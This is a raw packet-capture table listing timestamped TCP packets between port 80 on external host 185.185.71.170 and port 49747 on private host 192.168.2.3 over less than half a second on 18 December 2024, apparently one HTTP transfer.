Dec 18, 2024 20:56:45.334734917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.334767103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.335516930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.335566998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.354598045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.354729891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.354743958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.354780912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.355146885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.355195045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.355590105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.355974913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.356021881 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.356415033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.356427908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.356470108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.357213974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.357230902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.357287884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.358074903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.358473063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.358484983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.358514071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.359332085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.359344006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.359373093 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.360255957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.360274076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.360304117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.361114025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.361125946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.361191034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.362025976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.362037897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.362049103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.362075090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.362098932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.362942934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.362955093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.362997055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.363801003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.363814116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.363857985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.364790916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.364804029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.364844084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.365657091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.365669012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.365679026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.365715981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.366548061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.366559982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.366590023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.367396116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.367439032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.370737076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.370975971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.370989084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.371021032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.371778011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.371824980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.372189045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.372201920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.372236967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.373079062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.373472929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.373486042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.373509884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.374238968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.374252081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.374278069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.375106096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.375122070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.375145912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.376652956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.376666069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.376702070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.377823114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.377835989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.377882004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.378526926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.378545046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.378556013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.378582954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.378596067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.379430056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.379468918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.379504919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.380415916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.380428076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.380474091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.381268024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.381283998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.381326914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.381942987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.381959915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.381994009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.382766962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.382785082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.382822990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.383513927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.383522987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.383528948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.383613110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.384130955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.384149075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.384174109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.385039091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.385051012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.385092974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.385921955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.385935068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.385945082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.385972023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.385987043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.514528036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.514718056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.514734030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.514812946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.515538931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.515588999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.515991926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.516005993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.516122103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.516786098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.516803980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.516850948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.517625093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.517987967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.517999887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.518032074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.518846989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.518860102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.518898010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.519783974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.519804001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.519841909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.520632029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.520644903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.520672083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.521754980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.521769047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.521780014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.521800041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.521822929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.522964001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.522983074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.523019075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.524476051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.524550915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.524595976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.526011944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.526035070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.526094913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.527210951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.527225018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.527237892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.527283907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.527931929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.527946949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.527982950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.528572083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.528585911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.528594971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.528619051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.528637886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.546773911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.546926022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.546976089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.547331095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.547344923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.547385931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.548131943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.548145056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.548194885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.548933983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.548945904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.548981905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.549814939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.550169945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.550184011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.550211906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.551064014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.551076889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.551116943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.551975965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.551994085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.552022934 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.552844048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.552865028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.552884102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.553780079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.553792953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.553803921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.553827047 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.553883076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.554711103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.554723978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.554778099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.555774927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.555787086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.555883884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.556596994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.556610107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.556668997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.557322979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.557351112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.557389975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.558238029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.558255911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.558268070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.558298111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.559221983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.559237003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.559247017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.559268951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.559287071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.563250065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.563420057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.563437939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.563476086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.564237118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.564249039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.564294100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.565072060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.565129042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.565445900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.565457106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.565499067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.566343069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.566361904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.566425085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.568000078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.568015099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.568022013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.568028927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.568082094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.568743944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.568763018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.568870068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.569664001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.569675922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.569732904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.570581913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.570594072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.570643902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.571471930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.571485996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.571496964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.571528912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.572382927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.572391033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.572448015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.573273897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.573287010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.573347092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.574832916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.574846983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.574897051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.575222015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.575227022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.575238943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.575290918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.575304031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.575995922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.576009035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.576067924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.576869011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.576880932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.576952934 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.577781916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.577795029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.577864885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.578645945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.578659058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.578706026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.706595898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.706857920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.706867933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.706995010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.707564116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.707662106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.708007097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.708014011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.708056927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.708781958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.709259033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.709270954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.709305048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.710020065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.710026979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.710180044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.710930109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.710942984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.710983038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.711815119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.711826086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.711860895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.712711096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.712730885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.712754011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.713653088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.713660002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.713670015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.713722944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.713722944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.714555025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.714561939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.714693069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.715500116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.715507030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.715567112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.716387987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.716402054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.716600895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.717375040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.717390060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.717394114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.717472076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.718188047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.718195915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.718261957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.719059944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.719068050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.719078064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.719125032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.738950968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.739357948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.739366055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.739427090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.739937067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.739947081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.739996910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.740796089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.740873098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.741118908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.741125107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.741169930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.741785049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.741826057 CET	80	49747	185.185.71.170	192.168.2.3
